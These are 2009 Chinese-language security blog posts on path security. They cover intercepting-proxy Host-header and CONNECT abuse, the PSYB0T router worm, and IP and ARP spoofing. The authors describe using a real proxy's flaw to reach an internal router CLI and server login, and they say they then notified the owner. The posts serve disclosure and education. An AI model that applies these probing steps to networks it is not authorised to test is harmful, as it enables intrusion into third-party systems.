今年路徑安全之研究真的很紅,上,今年(2009)三月16-20於溫哥華舉辦的CanSecWest 2009資安會議上(投影片下載),Dan Kaminsky講的,就是有關路徑安全的研究。去年因為在BlackHat / DEFCON 2008上公開DNS漏洞之超級紅人Dan Kaminsky(這裡有我們的報導,另外其實他一直很紅),於會前(三月9日)在他的部落格上說:「似乎我們在2000-2002年間做了很多相關(網路層)的研究,然後...我們好像就停止了。今年在我的CanSecWest演講中,我就要來討論在deep packet inspection的年代的中間人威脅(paper:WORD下載PDF下載)...從位於路徑中的設備(middle of networks)上,我看到了種種的威脅」。隔一天,SANS立刻針對此發出警告:「Browser plug-ins, transparent proxies and same origin policies」

Dan在文中也表示,在這個研究中,他與Paypal的Robert Auger合作密切。其實這次CERT的警告,最相關的就是Kaminsky的這篇研究以及Rober Auger於同一天(三月9日)公佈的paper:「Socket Capable Browser Plugins Result In Transparent Proxy Abuse(支援socket的瀏覽器外掛會導致代理伺服器之濫用)」,其中用了很具體並圖文並茂的例子,說明了CERT提及的弱點,在何種情況下可以被攻擊者利用。

Kaminsky的討論比較針對使用DPI(deep packet inspection)的設備,如防火牆與IPS等。要能在網路上偵測出這些設備的存在,目前並無太多現成的工具,但是Kiminsky的paper中給了許多不錯的方法。CERT與Auger的報告則以討論代理伺服器為主,代理伺服器的存在一般比較容易看得出來,我們就用實際的例子來說明。從我家到www.ebay.com中間,存在著攔截式代理伺服器(大家別討論屬於哪家ISP的,這不是重點,我們這邊只講技術)。如何證明?用ICMP與TCP SYN做traceroute,可以看出明顯的差別,來看看實際的測試。在以下的真實測試中,我們會示範如何藉由攔截式代理伺服器的漏洞,取得路由器與其他內網伺服器的管理介面與登入prompt。首先,我們發現我們在某位置(不在台灣),www.ebay.com對應了五個IP:
圖1--ebay對應五個IP

但是不論採哪個IP,UDP的traceroute結果大概都差不多:
圖2--UDP traceroute

那麼TCP traceroute在port 25上呢?也差不多:
圖3--TCP port 25 traceroute

可是TCP traceroute在port 80就不一樣了:
圖4--TCP port 80 traceroute

用nmap的tcp traceroute功能跑一下nmap,也是差不多的結果:
圖5--nmap -sS --traceroute

很明顯有攔截式proxy位於此路徑上,其作用很可能是加速使用者對於www.ebay.com的存取,以及節省長途的流量。我們用CERT公佈的方法測試一下,發現該路徑上有proxy有弱點,導致攻擊者可以利用該proxy連線至任意其他網站。該路徑上之proxy不只一台,有些沒有弱點,但是有些有。以下我們讓該proxy連到www.google.com.tw:
圖6--利用 GET HTTP/1.1與Host:之攻擊

這個攻擊非常簡單,也很容易了解。我們明明是連往www.ebay.com的port 80,但是因為我們心裡知道,接受連接的是一台proxy,所以我們就在【Host:】欄位,改填了"www.google.com.tw",而結果該proxy在我們的操作下,往google連去了。很多攔截式proxy都會攔截多個網站,所以在判斷往往不從連線的目的IP來看,而從HTTP request中的【Host:】欄位來看(也就是從L7來看而非從L4來看)。其實這是很直覺也很合理的設計,並且要修正也不容易。為何不容易修正?我們來看看一個很常見的網路架構(topology):


從上圖可以看出,不容易修正的原因包括如下:
1. proxy前端如果是具有WCCP功能的路由器在負責攔截port 80的流量給proxy,那proxy可以知道使用者的IP封包原本希望連哪裡,但是很多時候是L4/L7的switch在負責攔截,這個時候就不一定了,另外proxy也很有可能串接好幾台,那麼通常除了第一台知道以外,之後的都得靠【Host:】欄位。
2. 即使有IP目的地資訊,大的網站,大部分都是一個網址對應很多IP,如果根據當初要連往的IP而非【Host:】欄位,那可能減少快取(cache)的hit rate,除非要有辦法知道,哪些IP是屬於哪些網站的,但是由於此對應關係屬動態,故在proxy端不容易分析清楚。
3. 從IP來看究竟是要連往那個網站,如果用DNS反查,則可能會因為各地DNS之不同(proxy所用之DNS與使用者所用之DNS不同),而導致無法正確判斷使用者所想要連往的網站。這中間所消耗的時間也是另一個問題。

但是這樣一個弱點,就讓此「代理www.ebay.com之攔截式伺服器」,有效的變成了「公開的匿名伺服器」,根據CERT、Auger、與Kaminsky的報告,可以被利用來掃瞄或入侵內網,click fraud攻擊,發送垃圾信以及當作跳板等。這種弱點一般算是設備的弱點,而非設定上的弱點,但是同常也可以用設定來彌補。我們用古老的方法讓該proxy自首一下,到底是哪家的設備:

圖7--用古法之一來辨認設備廠商

辨認出來是一台CacheFlow。CacheFlow早於2002年就被BlueCoat併購了。早在2003年(被併購之後),Tim Kennedy就於Bugtraq公佈了該設備的類似弱點的了(BID 8584):CacheFlow CacheOS HTTP HOST Proxy Vulnerability,當時Kennedy用的範例是利用該proxy發垃圾信。根據Bugtraq,廠商一直並未修復此弱點。再翻一下,更早在2002年,就有類似但更嚴重的弱點(BID 4143):CacheFlow CacheOS HTTP CONNECT TCP Tunnel Vulnerability,原來也可以利用HTTP CONNECT來讓該設備連往任意網站之任意port。該報告說,解決方法是CacheOS(CacheFlow的平台)5.0版,已經將出廠值設為CONNECT只能連往port 443。電信等級設備特色是,超級穩定耐操壽命又長,但是通常更新不易,所以很多弱點的壽命也都很長。

其實我記得這些網路層的攻擊在2002年左右是高峰。一直往上爬就沒有所謂「高峰」,要有往下掉才有「高峰」--事實上正是如此,2002年後,SQL injection / XSS這些變得非常紅,大家的注意力也就從網路層的威脅慢慢轉移了。其實威脅一直存在,也一直被利用,只是不是媒體的焦點罷了。此類proxy弱點於bugtraq上有一篇很著名的,一篇打死近所有廠商的(2002年,BID 4131):Multiple Vendor HTTP CONNECT TCP Tunnel Vulnerability(看看下面廠商清單有多長),與今年(2009)二月底的CERT報告,講的其實是差不多的事情,只是過了七年,路徑安全又在今年受到了重視,所以CERT等於重講了一次。在CERT報告中我們可以看出,BlueCoat於1月被通知,並已經於3月4日終於修改了這個七歲以上的已知漏洞。不過置於外那麼多超級強壯可以活10-20年的設備何時會真的被更新,就很難說了。既然有HTTP/1.0漏洞以及HTTP/1.0 CONNECT漏洞,我們也順便測試一下,該位於我們與ebay之間的CacheFlow,是否有類似弱點。我們先測HTTP/1.0漏洞:
圖8--HTTP/1.0漏洞

測試結果是漏洞存在,可以用HTTP/1.0指令讓該proxy連到www.google.com.tw。那麼CONNECT呢?
圖9--HTTP CONNECT www.google.com.tw成功

答案是肯定的,HTTP CONNECT也可以成功。那麼會不會是沒有真的連線,而只是剛好該proxy也暫存google的網頁呢?那我們測試叫他連到www.armorize.com好了,結果也成功,立刻連過來了:
圖10--HTTP CONNECT www.armorize.com成功

通常大家看到攔截式proxy可以bounce,直覺可以被駭客利用的就是打內網,或這次Auger提到的繞過same origin policy(相同來源政策)等。其實有一個應用是常被忽略的:如果攔截式proxy可以bounce,就會透露該proxy對外的IP。當然剛才該proxy已經連到我們網站過了,所以看log就可以看到IP,但更快的是,讓它連到像http://www.ipaddressworld.com這種會回報訪問者IP的網站,這樣就得到了該proxy對外的IP:

圖11--取得對外IP

我們連往該IP,果然看到了CacheFlow的管理頁面,上面有該設備的型號,內網IP,MAC硬體位置與OS序號等資訊。
圖12--對外的管理介面

最後的問題是,這一台CacheFlow(暫稱A),與位於我們與ebay中間的那一台(暫稱B),是同一台嗎?因為有可能是B攔截後,發現cache miss,於是串接A,讓A去取資料。由於圖12中我們可以看到A的內網位置,於是我們透過B的弱點,讓B透過內網連線A,發現是相通的,但是這只能確定,A與B其卻透過該內網相通,但是否A與B就是同一台,我們認為極有可能,但無法確定。
圖13--外網連內網

恩,連到內網了,由於圖12中的對外管理介面,讓我們得知了內網的IP,我們也於圖13中,證明了可以經過該漏洞,從外網連到內網。那是否可以連到路由器呢?一般路由器的IP都是設成.254,然後管理介面設在port 23(telnet)吧?那我們演練看看好了:
圖14--外網連內網,最後連進路由器


故事說到這,其實已經從外網連到內網,然後連到路由器的CLI介面了。當然這不算是有弱點,因為我們沒有密碼,但是這示範了最近SANS/CERT/Kaminsky/Auger在講的威脅。那麼再繼續看呢?試一試.253好了,結果.253是一台伺服器,login畫面出來了:
圖15--外網連內網,取得login畫面


這個攻擊很古老,但是為何CERT、Kaminsky、Auger等人又在最近重提呢?原因有二,第一,最近路徑上的威脅倍增,大家重視;第二,Kaminsky與Auger有效地提出了該弱點如何可以被利用。我們拿Auger報告中的圖來做說明:
圖16--Auger的說明(thesecuritypractice.com

Auger主要假設使用者瀏覽了一個被掛馬的網站,其中惡意iframe指向www.evil.com。此時第一步,使用者機器連往DNS,詢問出www.evil.com的IP為1.1.1.1。第二步,使用者連往www.evil.com,www.evil.com丟給使用者一個flash。此flash有權力開socket連回www.evil.com,於是第三步,flash先詢問www.evil.com是否可以開socket連回(flash保護機制Security.loadPolicyFile())。第四步,flash開socket連回www.evil.com,但是由於socket開在port 80內容也為標準HTTP GET封包,故連線被中間的proxy攔截。步驟五,由於封包中之【Host:】欄位並非指定www.evil.com而是指定www.site.com(該proxy之弱點),該proxy向DNS詢問www.site.com之IP,並於步驟6連往。此時,瀏覽器上之same origin policy(相同來源政策)就被成功的繞過了。

最後我們還是要特別強調,測試之環境不在台灣,我們也已經通知對方,對方也把問題修復了。希望這些技術面的討論,對大家有幫助。

路徑安全大事一覽表:
2003/07/30Black Hat US 2003,FX(Phenoelit的leader Felix)發表:「更多有弱點之嵌入式系統(More vulnerable embedded systems)」(投影片
2003/10/01Black Hat Federa 2003,FX發表:「Cisco弱點--過去,今天與未來(Cisco Vulnerabilities - Yesterday, Today and Tomorrow)」(投影片
2005/07/27Michael Lynn於Black Hat 2005上發表:「聖杯:CISCO IOS shellcode 以及攻擊技巧」(這裡這裡有人公布投影片),遭Cisco沒收大會所有講義與CD(這裡有人公開當初撕書與沒收CD的錄影
2007/07/22Black Hat / DEFCON主席Jeff在DEFCON 2007,講了Lynn&Cisco整段事件(影片在這裡),並說當時Michael卡住,結果:他在「一個中文的論壇上找到了答案,已經有中國人先研究出來了,於是他翻譯了內容,並有了突破」。
2007/09/26專門駭入路由器偷VoIP頻寬之駭客Robert Moore被判刑,他駭入了15家電信業者,並說:「太容易了,野人都會」
2008/05/15The Register: 路由器rootkit上演,網路將被操控(Rootkits on routers threat to be demoed--Networks own3d)
2008/05/17Cisco官方強化IOS設備手冊 (Cisco Guide to Harden Cisco IOS Devices)(此乃針對以下之演講發表)
2008/05/19台灣Digitimes:可入侵思科路由器的Rootkit軟近期內將公開亮相
2008/05/21EUSecWest 2008--Core的研究員Ariel Futoransky: Cisco IOS rootkit解密:正宗IOS Rootkit(Killing the myth of Cisco IOS rootkits:DIK Ios rootKit)(PDF paper 下載
2008/05/23中国IT实验室:Rootkit兵临城下 思科忙为路由器打补丁
2008/05/26网界网:思科发布路由器补丁程序,但忧虑仍在
2008/06/08IDG: Cisco路由器又在駭客聚光燈下(Cisco routers again take hacker spotlight)
2008/08/02Black Hat 2008 一共三場關於路由器安全之演講
2008/08/06Gyan Chawdhary與Varun Uppal發表:「Cisco IOS shellcode與後門(Cisco IOS Shellcodes/Backdoors)」(講義下載
2008/08/07Core的研究員Ariel Futoransky--「Viral Infections in Cisco IOS(病毒式感染Cisco IOS)」(投影片
2008/08/07FX發表:isco IOS鑑識的近期發展(Developments in Cisco IOS Forensics)(講義下載
2008/08/13中国IT实验室:全球黑客聚会黑帽大会 Cisco路由器再成热点话题
2008/08/21Andy Davis發表:「跨版本Cisco IOSshellcode(Version-independent IOS shellcode)」
2008/09/30ISC2(推出CISSP認證的組織)blog:網路上最弱的一環是路由器。太多設定不好的路由器了。(連結
2008/12/3025c3 Conference,FX發表:「Cisco IOS--攻擊與防禦,當今最高水平(Cisco IOS--Attack & Defence, the State of the Art)」(投影片在這)(錄影在這裡
2009/01/11Terry Baume:「Netcomm NB5路由器僵屍網路(Netcomm NB5 Botnet–PSYB0T 2.5L)」。
2009/02/23CERT針對代理伺服器發出警訊:「Intercepting proxy servers may incorrectly rely on HTTP headers to make connections
2009/03/09Rober Auger公佈paper:「支援socket的瀏覽器外掛會導致代理伺服器之濫用(Socket Capable Browser Plugins Result In Transparent Proxy Abuse)」,說明了CERT提及的弱點,在何種情況下可以被攻擊者利用。
2009/03/09Dan Kaminskyblog上表示今年在CanSecWest 2009上會講關於路徑安全之主題:「Staring Into The Abyss」(WORD下載PDF下載
2009/03/09SANS針對二月時CERT之警訊以及三月時Kaminsky與Auger的研究發出警告:「Browser plug-ins, transparent proxies and same origin policies」
2009/03/12Cisco警告:「亞洲某些區域出現流量綁架,可能是non-blind TCP spoofing或其他種類攻擊,tw.msn.com與taiwan.cnet.com受影響」(連結
2009/03/22DroneBL發表:「網路藍色藥丸:隱形路由器僵屍網路過去幾星期以DDoS攻擊DroneBL(Network Bluepill - stealth router-based botnet has been DDoSing dronebl for the last couple of weeks)」,敘述了NetComm NB5路由器被感染並成為僵屍網路一員的整個過程
2009/03/23ZDNet的Zero Day blog發表:「隱形路由器botnet蠕蟲散播(Stealthy router-based botnet worm squirming)
2009/03/24SANS警告:「PSYB0T:mipsel設備之IRC Bot(PSYB0T: A MIPS-device (mipsel) IRC Bot )
2009/03/24The Register:「蠕蟲透過家用路由器與modem養botnet,超過100,000台遭入侵(Worm breeds botnet from home routers, modems--More than 100,000 hosts invaded)
2009/03/24Dark Reading:「路由器以往是被視為比較不會遭受惡意程式攻擊的,僵屍網路以往則針對個人電腦跟伺服器,但現在不同了。(Routers traditionally have been considered relatively immune to malware and attacks, and botnets traditionally used PCs and servers.)
2009/03/24Dark Reading長篇大論地討論了路由器的安全:「破解路由器修補之謎(Hacking The Router Patching Conundrum)
2009/03/25Cisco發出了advisory,集合了8篇advisory,一次公佈了8個CISCO IOS的弱點,並提供更新程式下載
2009/03/25SANS警告:「Cisco釋出IOS弱點修正集合(Cisco Releases IOS Bundle of Vulnerabilities)
2009/03/30SANS發佈警訊,標題是「小心你的路由器!(Watch your Internet routers!),詳細介紹了前幾天某台Cisco被入侵的過程:不到五分鐘,駭客已經建好tunnel回家了


作者 Fyodor Yarochkin 為 o0o.nu 成員
作者 Wayne 為 阿碼科技CEO

相關系列文章:
2009/03/08 「大規模網頁綁架轉址:威脅未解除,但專家都猜錯了
2009/03/12 「大規模網頁綁架轉址之水落石出篇
2009/03/13 「回答IP Spoofing 的問題
2009/03/15 「從大規模轉址事件看IP spoofing、ARP spoofing、ARP掛馬與路徑(route)安全
2009/03/27 「網路藍色藥丸?首支攻擊路由器之蠕蟲出現:再談路徑之安全性


繼續閱讀全文...

2009年3月27日

網路藍色藥丸?首支攻擊路由器之蠕蟲出現:再談路徑之安全性

(picture source: http://www.fastforwardblog.com)


自從最近寫了幾篇關於路徑安全的文章後,短短幾天內,世界各地突然冒出了許多關於路由器安全的新聞。美國西岸時間三月22日凌晨,DroneBL首先發表了blog:「Network Bluepill - stealth router-based botnet has been DDoSing dronebl for the last couple of weeks(網路藍色藥丸:隱形路由器僵屍網路過去幾星期以DDoS攻擊DroneBL)」。先離題聊一下「藍色藥丸」吧!在1999年電影駭客任務(The Matrix)中,藍色藥丸(Bluepill)與紅色藥丸分別象徵了「虛幻世界」與「真實世界」。2006年六月,由那時還在COSEINC(與阿碼共同舉辦SySCAN前瞻資安技術年會的新加坡公司)的Joanna Rutkowska,證明了可以在MS系統(包含Vista)上,利用AMD的虛擬化機制,實做極隱密rootkit之可能性,並在她blog上貼了一篇:「Introducing Blue Pill(介紹藍色藥丸)」,並於同年先後在SySCAN 2006與BlackHat 2006(投影片下載)上發表。之後此rootkit程式有公開並可下載。其實當初Joanna取名藍色藥丸,主要是因為該rootkit乃利用了CPU虛擬化(virtualization)的機制來達成極度隱密之目的,故藍色藥丸暗喻「虛擬化(virtualization)」而非「隱密性(stealthiness)」,但是因為大家對於此rootkit之隱密性都有很深的印象,所以從此,「藍色藥丸(Bluepill)」便成了資安研究員形容各種「隱形」技術時喜歡用的代名詞。

這次DoneBL所發的「網路藍色藥丸」,主要描述NetComm NB5 這台 ADSL 路由器,會被蠕蟲「PSYB0T」自動攻擊並感染,成為botnet(irc)的一員,除了會接受指令參加DDoS攻擊外,也會自動掃瞄,攻擊並感染其他同型路由器,來散播該蠕蟲。「網路藍色藥丸」則指管理者不容易發現路由器已經遭受感染。DoneBL估計已經有100,000台路由器遭PSYB0T感染,並認為這是第一隻會自動感染路由器的蠕蟲,且對象可能不限於NetComm NB5這型路由器,而是任何以linux mipsel為平台的路由器都有機會被感染。
(picture source: http://www.teamtelco.com.au)


(picture source: http://www.beyondlogic.org)


隔天(三月23日),ZDNet的Zero Day blog上,Ryan Naraine就貼出了「Stealthy router-based botnet worm squirming(隱形路由器botnet蠕蟲散播)」,並引述了DroneBL的blog。Teamfurry blog上也貼出了一篇:「Botnet running on MIPS CPU devices(Botnet在MIPS CPU設備上散播)」,其中第一句就說:「Finally, something new :)(終於有新鮮事了)」。由於此二blog在資安界皆頗具人氣,又隔天(三月24日),SANS就發出了警告:「PSYB0T: A MIPS-device (mipsel) IRC Bot (PSYB0T:mipsel設備之IRC Bot)」,並引述了以上兩個blog。同時,英國最大IT媒體The Register也報導了:「Worm breeds botnet from home routers, modems--More than 100,000 hosts invaded(蠕蟲透過家用路由器與modem養botnet,超過100,000台遭入侵)」。

以上這些報導,都引述了Terry Baume在一月11日時所公佈的研究報告(PDF):「Netcomm NB5 Botnet–PSYB0T 2.5L」。其實這篇中就已經把該攻擊描述得很完整了,並也開門見山地用紅字點出,PSYB0T應該有能力感染其他機型之路由器(但是僅限於linux mipsel,非CISCO IOS或Juniper freebsd)。Terry也指出,在他兩天的觀察其內,PSYB0T由一天感染兩台路由器,迅速加速到一天感染20台路由器的速度。Terry發現該蠕蟲有利用UPX加殼,解殼後可以利用MIPS的反組譯器(如RecStudio)來進行反組譯及分析。Terry也利用反組譯來分析了該蠕蟲並詳細說明了其行為。

Teamfurry的blog上則指出,經過了三個月,PSYB0T已經有了演進,應該是看到了Terry的blog,所以雖然還是用UPX加殼,但是之後手動做了修改(駭客不看blog?不夠水準的blog當然沒人看)。Teamfurry的解殼法則是先手動將修改復原,然後一樣利用UPX解殼,分析後,發現版本字串已經從當初Terry看到的"2.5L"變成"2.9L"了。Teamfurry指出,該攻擊可怕的是,可以竄改DNS設定,也可以隨意轉址到非法的網站。

Dark Reading也於同日報導了此事件,並說:「Routers traditionally have been considered relatively immune to malware and attacks, and botnets traditionally used PCs and servers.(路由器以往是被視為比較不會遭受惡意程式攻擊的,僵屍網路以往則針對個人電腦跟伺服器)」。Dark「」 Reading並訪問了路由器安全專家FX(Felix FX Lindner,前一篇我們介紹過),FX說:「惡意程式已經開始利用路由器了,但是在這個事件中,目標還只是簡單的linux。」

仔細看一下此事件使用之技術,NB5是用MIPS處理器,跑embedded linux,有Web的管理介面,也可以開啟telnet/ssh。有大量的NB5,出廠時,這些管理介面是對WAN端也開放的,並且不需密碼或密碼為出廠的"admin"/"admin"。PSYB0T之動作步驟如下:

1. 用多種方式設法取得shell(telnet/ssh),包括嘗試出廠設定,以及用暴力法猜帳號密碼等(所以太弱的帳號密碼也會被攻入,如"netcomm"/"netcomm")。
2. 利用http或tftp下載蠕蟲本體並於背景執行。
3. 關閉對外之所有port,避免他人進入或重複感染。
4. 連往某些特定之 IRC server,加入IRC botnet,開始回報並接受指令。
5. IRC 指令包含了攻擊其他NB5散播本體,攻擊MySQL,攻擊phpMyAdmin,各種DDoS攻擊,port scan,監聽流量並偷帳號密碼等。

無獨有偶,雖然兩件事無關,但又隔日(三月25日),Cisco發出了advisory,集合了8篇advisory,一次公佈了8個CISCO IOS的弱點,並提供更新程式下載。由於公佈的弱點頗多(包含了TCP、UDP、無線 IP以及VPN等),SANS也於同天發了一篇關於路由器的diary:「Cisco Releases IOS Bundle of Vulnerabilities(Cisco釋出IOS弱點修正集合)」。Dark Reading則似乎收到消息Cisco會於25日釋出advisory以及更新程式似的,於24日先長篇大論地討論了路由器的安全:「Hacking The Router Patching Conundrum(破解路由器修補之謎)」。

標題下面大大的黑字寫著:「最近的研究已經證實了路由器並不像以前想像的難入侵,企業以後若無法在不影響網路運作下,定期安裝路由器修補程式的話,將倍感壓力」。DearReading介紹了FX最近對路由器安全的研究(我們在前一篇有介紹),FX則表示,問題出在IOS目前沒有修補程式,每次都需要更新整個IOS image。但是更新整個IOS image後,常會導致設定或軟硬體不合等問題。Dark Reading表示,更新路由器軟體常常不被視為是高優先的工作,目前也少有企業有建立對路由器軟體更新之程序與規範。

去年因為在BlackHat / DEFCON 2008上公開DNS漏洞之超級紅人Dan Kaminsky(這裡有我們的報導,另外其實他一直很紅)則表示,他們(IT)從沒去考慮外頭那麼多的路由器。他們缺乏資源,工作量超過負荷,除非有很好的理由,不然不可能再去監控另一種問題(路由器)...但是FX的研究已經給了最好的理由。

FX則說:「所有我認識並談過的企業與電信業者,當有IOS的更新公佈時,沒有一個單位有去做更新,因為更新IOS所帶來的危險比被駭的危險更高。」Cisco的Russ Smoak則表示,部分的客戶會上更新,部分則不會。「我們的客戶廣布於每一個角落;有的遵循嚴謹的規範並勤勞地更新,有的則擁有老舊的平台。」Kaminsky說:「你不用緊張,但是廠商叫你更新時,你就是必須要更新。」

好了,談到這邊,我們來回顧一下,我們於三月8日第一次探討路由之安全,並於三月15日寫的「從大規模轉址事件看IP spoofing、ARP spoofing、ARP掛馬與路徑(route)安全」中有提到,2008年,對於路由器安全的研究突然很多,一個Black Hat 2008竟然有三場相關演講。又提到:


去年九月底,Alexandre Cezar在ISC2(推出CISSP認證的組織)的blog上寫了一篇:The most vulnerable device in the network,他說最近與朋友討論,整個網路(使用者機器不算)上,最脆弱的機器是什麼。「The answer of almost everyone in the table was: Routers...(所有人一致的回答都是:路由器)」。文章中他列舉了router上可能有的威脅,另外我很喜歡他回Tim Bass的留言(泰國OWASP分會會長,上次OWASP有來與大家見面)時說的:「And you're right when you said that there aren't many exploits for routers but my main point is that you don't need exploits to compromise a router, you just need to found a misconfigured one and the Internet in plenty of them(你說路由器的攻擊程式不多,我同意,但是重點是,入侵路由器並不需要用弱點攻擊程式,你只需要找到一個沒有設定好的路由器,而網路上多的是)」這根FX在演講中說的一樣,其實現在掃瞄路由器還是可以發現很多設定上的錯誤,弱的密碼等等,攻擊路由器不一定需要用到他們研究的這些新技術。


其實掌握資安威脅趨勢並不困難,許多事件的發生都有跡可尋。此事路由器蠕蟲事件,其實在一月時,Terry Baume公佈的研究報告(PDF):「Netcomm NB5 Botnet–PSYB0T 2.5L」就已經分析得很完整了,可惜當時並未引起大家的高度關注,才會讓感染的機器不斷攀升。另外,這台NetComm NB5有蠕蟲出現,其實也不意外。這台很多人喜歡玩,早在2005年4月左右,如何編譯適合這台執行的程式之方法,就已經被公開得很詳細了。「Exploring the Netcomm NB5 - ADSL / ADSL-2/2+ Modem Router」一文中,將步驟一步一步地描述得很完整。

三月21日,活了三個月之久的路由器蠕蟲終於受到媒體與SANS重視,三月24日,媒體與SANS也因為Cisco即將發佈的安全更新而大幅探討路由器安全問題。三月初我們探討路由安全問題時,許多資安專家抱持懷疑的態度,質疑「何謂路由器被感染,什麼鬼東西,從沒聽過」,或「感染路由器後要做什麼」等。這顯示大家對於此類威脅比較陌生,可能是之前國內類似案例並不多(或公開的不多)。其實比較早進入資安研究的朋友,應該對這些network層的威脅都不陌生;在沒有Web的年代,這些很多都是駭客很熟的技術。加上這幾年路由器上之威脅不斷被公布,實際的案例也一一出現,負責的資安研究人員,應該要能隨時掌握最新的威脅趨勢,提早警告客戶與大眾,做好事前的預防,才是減少資安成本的關鍵。我們在做事件處理時,常覺得,事前與事後,在成本上真是天差地遠,只要充分掌握威脅趨勢,事前的預防其實不難,但是如果沒做好準備而讓事件發生了,真是客戶累,我們也累,雙方所花的時間,很多用於善後,而非提升資安水平,可說事倍功半。

作者 Wayne 為 阿碼科技CEO

相關系列文章:
2009/03/08 「大規模網頁綁架轉址:威脅未解除,但專家都猜錯了
2009/03/12 「大規模網頁綁架轉址之水落石出篇
2009/03/13 「回答IP Spoofing 的問題
2009/03/15 「從大規模轉址事件看IP spoofing、ARP spoofing、ARP掛馬與路徑(route)安全
2009/03/27 「網路藍色藥丸?首支攻擊路由器之蠕蟲出現:再談路徑之安全性

繼續閱讀全文...

2009年3月15日

從大規模轉址事件看IP spoofing、ARP spoofing、ARP掛馬與路徑(route)安全


「優秀的鑒識人員除了要懂得物證的處理外,還要用科學的頭腦來思考。物證雖然能夠提供重要的線索與證據,但是要能解開整個迷局,就需要用頭腦串連所有的物證。在我處理過的六千多個案件中,就遇到單憑一件物證破案的案件」--李昌鈺

這次的大規模轉址事件,受到各界關注,我們也寫了兩篇(這裡這裡)我們對事件的研究。大家這麼注意這次事件當然是有道理的,因為這麼大規模的轉址,持續時間又久--到底發生了什麼事?我們寫出我們的看法後,收到很多網友的問題,於是我們又寫了一篇回答,但是大家還是有很多問題,我們持續收到email與留言。我們在這邊將所有的問題與我們的回答整理成一篇,並也藉此機會,討論一下什麼是IP spoofing、none-blind IP spoofing、ARP spoofing、ARP掛馬 等,供大家參考。另外,我們收到很多網友寫信來或留言的鼓勵,我們真的非常的高興,也非常的感謝,各位的鼓勵是我們最大的動力,我們會繼續努力,謝謝各位對我們研究的肯定,也請不吝批評指教。

[事件最新發展]
1. Cisco於三月12日更新了alert報告,提及「可能是non-blind TCP spoofing或其他種類攻擊」,整個報告第一句:「Reports indicate that some TCP traffic that is passed through certain Taiwanese networks is being redirected to malicious websites.」(TCP流量經過台灣的某些網段時遭攻擊,部分使用台灣的使用者可能受影響)。這跟我們的研究結果是一致的,攻擊者位於route上。另外,我們沒有說攻擊程式位於route"r"(路由器)上,我們一直的說法都是,攻擊程式位於route上,差一個字差很多。

2. Juniper也同意我們的研究:「Juniper先進科技部資深技術經理林佶駿於今(12)日受訪時表示,從阿碼科技等提供的證據來看,神秘網頁轉址攻擊確實有可能發生在210.65.255.241到211.22.33.225這個路徑(route)上,但就此斷定中華電信的路由器(router)被動手腳或遭入侵的可能性並不高。」我們本來就沒有說一定是路由器的問題,我們一直強調攻擊程式在route上,並透過研究證明,有攻擊程式位於距離我們TTL=7以內。這個跟許多人分析說是DNS攻擊,Man-in-the-middle攻擊,網站遭攻擊或遭ARP掛馬,是很不同的,但是我們透過實際的資料與數據證實了我們的看法,也得到了CISCO與Juniper的認同。

3. 這次研究的重點不在於「究竟是否是路由器出問題」。結論重點在於,第一,確定有none-blind IP spoofing,而非DNS攻擊,也看不出有ARP掛馬,這跟其他人的看法很不同。第二,從錄到的封包以及攻擊內容(插入iframe方式)來看,推測攻擊者無法竄改原封包,無法避免原真封包還是抵達受害者,也無法避免真封包比假封包早到。第三,有攻擊程式存在於TTL<=7路徑當中。我們一直說 route 上出問題而沒有說一定是 route"r" 上出問題,大家看文章時麻煩要注意到。

[何謂 Man-in-the-middle (MITM)?]

首先我們定義文中何謂「Man-in-the-middle」(MITM),我們採wikipedia的定義:「In cryptography, the man-in-the-middle attack or bucket-brigade attack (often abbreviated MITM), sometimes Janus attack, is a form of active eavesdropping in which the attacker makes independent connections with the victims and relays messages between them, making them believe that they are talking directly to each other over a private connection when in fact the entire conversation is controlled by the attacker. The attacker must be able to intercept all messages going between the two victims and inject new ones, which is straightforward in many circumstances (for example, the owner of a public wireless access point can in principle conduct MITM attacks on the users).」

根據這個定義,MITM需要達成以下:攻擊程式負責在兩受害者中間「轉送」流量,並可以控制整個流量。

[何謂 ARP spoofing?]

我們採wikipedia的定義,ARP spoofing是在類乙太網路上,利用發假的ARP封包,達到把自己當成MITM的目的。在這邊要注意的是,要達到監聽封包,ARP不是唯一的作法,也並非最簡單之作法。第一,ARP spoofing只能用於類乙太網路上,第二,達成了ARP spoofing,就必須擔起「中間人」的責任,必須在中間轉送所有的流量,不然可能造成網路癱瘓,這需要一定的運算能力。

[何謂 ARP 掛馬?]

ARP 掛馬並沒有很明確的定義,因為這一個攻擊手法,一個手法會用到一個以上的攻擊技術,我們在這邊定義如下:攻擊者使用類似zxarps這種工具,先在類乙太網路(ethernet-like)上,用ARP spoofing讓自己成為MITM,然後(選擇性地)在HTTP response中插入惡意的iframe,達到攻擊的效果。根據這個定義,這樣的手法包含了兩個攻擊技術:

1. ARP spoofing攻擊,以取得MITM地位。
2. TCP session hijacking,以便修改TCP封包並插入iframe。這其實是zxarps值得注意的功能之一。zxarps的TCP session hijacking做得蠻完整的,因為他會處理到TCP層,修改TCP封包中的SEQ/ACK號碼等。由於其TCP session hijacking實做很完整,在大部分的情況下,看不出異常的流量,除了在同一個乙太網路的broadcast domain(或vlan)下,偵測流量之異常並不容易。

[何謂 None-blind IP spoofing?]

None-blind IP spoofing是指攻擊者可以監聽到TCP/IP流量,並發出TCP s/n對的假封包,並成功讓受害者以為是真封包。然而不同於做得好的TCP session hijacking,none-blind spoofing中真假封包都會同時送到受害者,故在路徑中或在受害者端,都可以利用監控流量之異常來偵測出none-blind IP spoofing。不同於因為監聽不到流量而必須發出大量封包的blind IP spoofing,none-blind IP spoofing通常可以很準確的發幾個甚至一個封包,就能達到效果--這是攻擊者喜愛它的重要原因之一。在無法達成好的TCP session hijacking情況時,或沒有需要(懶得做)時,攻擊者常退(改)而採用none-blind IP spoofing。由於None-blind IP spoofing需要能夠監聽到流量,故需配合其他監聽技巧。ARP spoofing是其中一種方式,但並非唯一方式,也並非最簡單之方式。

[為何你們判斷此次是 none-blind IP spoofing而非其他人說的,DNS攻擊或ARP掛馬?]

如果是DNS攻擊,使用者不會注意到被轉址了,瀏覽器的網址列會顯示對的網址,故排除是DNS攻擊。另外根據我們前兩篇(這裡這裡)所公布我們錄到的資料,依據錄到的封包,確定有non-blind IP spoofing。至於是否伴隨ARP掛馬,目前看不出來有,沒有直接證據,故我們沒有說有,但也沒有說一定沒有。non-blind IP spoofing是錄到的事實,故我們會說一定有。

那麼為何我們沒有說是 ARP 掛馬呢?因為基於以下幾點:

1. 因為如果照上面的定義,利用類似zxarps這種工具做ARP掛馬時,第一,除非我們在同一個vlan下,不然很難偵測出流量的異常,也不會有真假封包同時被我們看到。

